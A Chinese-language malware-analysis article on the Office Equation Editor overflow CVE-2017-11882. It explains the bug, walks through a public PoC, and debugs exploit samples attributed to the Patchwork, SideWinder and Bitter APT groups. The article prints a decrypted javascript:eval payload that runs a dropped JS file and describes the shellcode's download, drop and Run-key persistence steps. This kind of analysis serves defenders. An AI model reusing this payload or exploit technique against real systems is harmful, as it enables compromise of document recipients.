CVE-2017-11882及利用样本分析
1.本文由复眼小组ERFZE师傅原创2.本文略微偏向基础,首先介绍了该漏洞的成因,并且分析了该漏洞在蔓灵花,摩诃草,响尾蛇APT组织用于实际攻击活动中的详细调试过程3.本文全文字数共2234字,图片95张 预计阅读时间14分钟
0x01 漏洞描述
•成因:Windows的公式编辑器EQNEDT32.EXE
读入包含MathType的OLE数据,在拷贝公式字体名称时没有对名称长度进行校验,使得攻击者可以通过刻意构造的数据内容覆盖栈上的函数返回地址,从而劫持程序流程。•影响版本:Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, Microsoft Office 2016•POC:https://github.com/Ridter/CVE-2017-11882
0x02 漏洞分析
笔者复现及分析环境:Windows 7 Service Pack 1、Microsoft Office 2010、x32dbg、IDA 7.0
EQUATION.exe
存在:
图片1 Equation.exe
设置注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE
:
图片2 regedit.exe
Debugger
键值为x32dbg路径。
生成POC:
图片3 POC
打开该文档,于WinExec()
函数处设断:
图片4 WinExec
成功断下后,查看栈中返回地址:
图片5 ReturnAdd
继续向上查看栈,发现调用WinExec()
的函数:
图片6 Stack
通过IDA分析sub_4115A7
功能:
图片7 IDA
跟进sub_41160F
查看:
图片8 sub41160F
未校验长度,直接使用strcpy()
函数,此处应该就是漏洞触发位置。进一步确定具体位置:
图片9 strcpy
于0x411658
处设断,重新运行。第二次成功断下后,查看ESI寄存器指向内存内容:
图片10 ESI
此时ECX寄存器值为0xC,即复制48个字节到EDI寄存器指向内存,而var_28
实际大小只有36个字节:
图片11 EDI
到达函数结束处:
图片12 FunEnd
leave
指令执行完毕后,栈顶0x18F1D0
处值为0x430C12
,即调用WinExec()
。而传递参数正是0x18F350
指向内存中的cmd指令:
图片13 shellcode
成功弹出计算器:
图片14 calc.exe
下面对使用到的POC进行简要分析。各变量含义由命名可知,RTF文档格式并非本文重点,如读者此前对RTF文档格式没有了解,建议先阅读文末参考链接中有关RTF文档格式的文章后再看POC源码。
图片15 RTF
首先判断命令长度是否小于43,而43这个数字是因为:
图片16 CmdLen
上图选中部分是插入命令处,具体偏移由POC中COMMAND_OFFSET(0x949*2)
变量给出。
将命令插入到构造数据中之后,函数返回拼接好的OLE。下面将OLE嵌入到RTF文档中:
图片17 OLE
0x03 摩诃草(APT-C-09)组织某样本分析
MD5:0D38ADC0B048BAB3BD91861D42CD39DF
于0x411658
处设断,在第二次断下时,各寄存器值如下:
图片18 register
继续执行到函数结束处leave
指令:
图片19 leave
0x18F230
地址处值0x430C47
即覆盖后的函数返回地址:
图片20 FunReturn
而该地址处指令是ret
,有些出乎意料。继续向下执行,来到0x18F3B0
处,正是0x18F234
地址处值:
图片21 ret
这方才是构造者意欲执行的指令。经过蓝色方框中的一系列运算后,EBX指向是真正的Shellcode:
图片22 shellcode
上述内容均可在OLE中查看(路径\xl\embeddings
):
图片23 OLE
图片24 OLE
将OLE0x1000
—0x1520
中数据复制到一bin文件后,通过IDA查看。sub_247
功能如下:
图片25 IDA
该函数接受的第二个参数即上文提到的EBX指向地址,于OLE中位置是0x1040
,而0x1040
+0x558
处内容如下:
图片26 PE
故该函数第一个功能是修正PE文件头。第二个功能流程如下:
图片27 PEWrite
图片28 PEWrite
图片29 PEWrite
图片30 PEWrite
将0x1040
+0x558
后的PE文件数据写入到%APPDATA%\MSBuild.exe
中。第三个功能流程如下:
图片31 RegeditWrite
图片32 RegeditWrite
图片33 RegeditWrite
将%APPDATA%\MSBuild.exe
写入注册表run项键值lollipop
中。
0x04 响尾蛇(SideWinder)组织某样本分析
将文档拖进WinHex查看:
图片34 WinHex
可以看出该文档实质是一RTF格式文档。
用rtfobj.py
分析如下:
图片35 rtfobj
Package后文会提到,先来看其CVE-2017-11882利用部分。
同样是第二次断下时:
图片36 break
其后的执行流程与上一样本相似:
图片37 leave
图片38 ret
经过绿色方框中的一系列运算后,调用GlobalLock()
函数,传递参数如下:
图片39 GlobalLock
接下来跳转到GlobalLock()
函数返回内存区域中:
图片40 jmp
经过两次call
调用:
图片41 call
图片42 call
修正内存中的字符串:
图片43 EditString
接下来寻址kernel32.dll
:
图片44 kernel32
其所调用的函数功能如下:
图片45 sub298
两次call
调用之后:
图片46 call
图片47 call
其功能为返回某函数调用地址,此次是LoadLibrayW()
:
图片48 LoadLibrary
图片49 Loadlibrary
接下来,返回GetProcAddress()
调用地址:
图片50 GetProcAddress
图片51 GetProcAddress
继续call
调用:
图片52 call
其后流程如图所示:
图片53 GetCommandLine
图片54 GetCommandLine
图片55 call
下面将字符串解密,并覆盖原CommandLine内容:
图片56 DecryptStr
图片57 DecryptStr
执行完结果如下:
图片58 StrResult
最后实际执行部分:
javascript:eval("sa=ActiveXObject;ab=new sa(\"Scripting.FileSystemObject\");eval(ab.OpenTextFile(ab.GetSpecialFolder(2)+\"\\\\1.a\",1).ReadAll());windowclose()")
其后调用RunHTMLApplication()
:
图片59 RunHTMLApplicaton
图片60 RunHTMLApplicaton
图片61 RunHTMLApplicaton图片60 RunHTMLApplicaton图片60 RunHTMLApplicaton
图片62 RunHTMLApplicaton图片60 RunHTMLApplicaton
图片63 RunHTMLApplicaton
1.a就是之前提到RTF文档中的Package,其实质是一JS文件:
图片64 JS
图片65 JS
最后,其执行结果大体如下图所示:
图片66 result
0x05 蔓灵花(Bitter)组织某样本分析
通过远程模板注入的方式下载一RTF格式文档:
图片67 downloadRTF
拖进WinHex查看,可以确认其格式为RTF文档格式:
图片68 Winhex
添加文件扩展名后,打开该文档。同样是于于0x411658
处第二次断下时:
图片69 breakpoint
图片70 ret
图片71 shellcode
跳转之后经过绿色方框中一系列计算,接着跳转:
图片72 jmp
fldpi
将π的值加载到FPU堆栈:
图片73 fldpi
执行完后fpu_instruction_pointer
指向fldpi
指令,其后的fnstenv
指令将FpuSaveState
结构体保存到esp-0xC
处:
图片74 fnstenv
如此一来,pop ebp
后EBP寄存器的值是fpu_instruction_pointer
——fldpi
指令位置:
图片75 EBP
由EBP计算出需要解密的数据起始位置,EDX中存储的是数据长度(0x315):
图片76 Decrypt
接着执行解密后的指令:
图片77 Execute
图片78 Execute
跳转后,执行相应指令,接下来call
调用:
图片79 call
sub_562B2F
功能是获取指定的系统函数调用地址,此次是kernel32.VirtualAlloc()
:
图片80 ReturnVirtualAddr
图片81 ReturnVirtualAddr
之后调用VirtualAlloc()
申请内存空间:
图片82 VirtualAlloc
向申请的内存空间中写入数据:
图片83 WriteMem
调用sub_562B2F
获取kernel32.Wow64DisableWow64FsRedirection()
调用地址:
图片84 ReturnWow64DisableWow64FsRedirectionAddr
LoadLibrary(shell32)
:
图片85 LoadLibrary(shell32)
传递参数给sub_562B2F
,获取shell32.ShellExcute()
调用地址:
图片86 ReturnShellExcuteAddr
图片87 ReturnShellExcuteAddr
LoadLibrary(urlmon)
:
图片88 LoadLibrary(urlmon)
获取urlmon.URLDownloadToFile()
调用地址:
图片89 ReturnURLDownloadToFileAddr
图片90 ReturnURLDownloadToFileAddr
调用URLDownloadToFile()
,其传递参数如图:
图片91 URLDownloadToFile
图片92 URLDownloadToFile
读取文件:
图片93 CreateFile
图片94 ReadFile
由于没有获取到文件,计算出的EBX值错误:
图片95 End
故至此结束。
0x06 参考链接
•Office恶意文件解析与混淆研究 -https://zhuanlan.zhihu.com/p/31345299•https://github.com/Ridter/CVE-2017-11882•Office文件格式基础知识 -https://www.anquanke.com/post/id/175548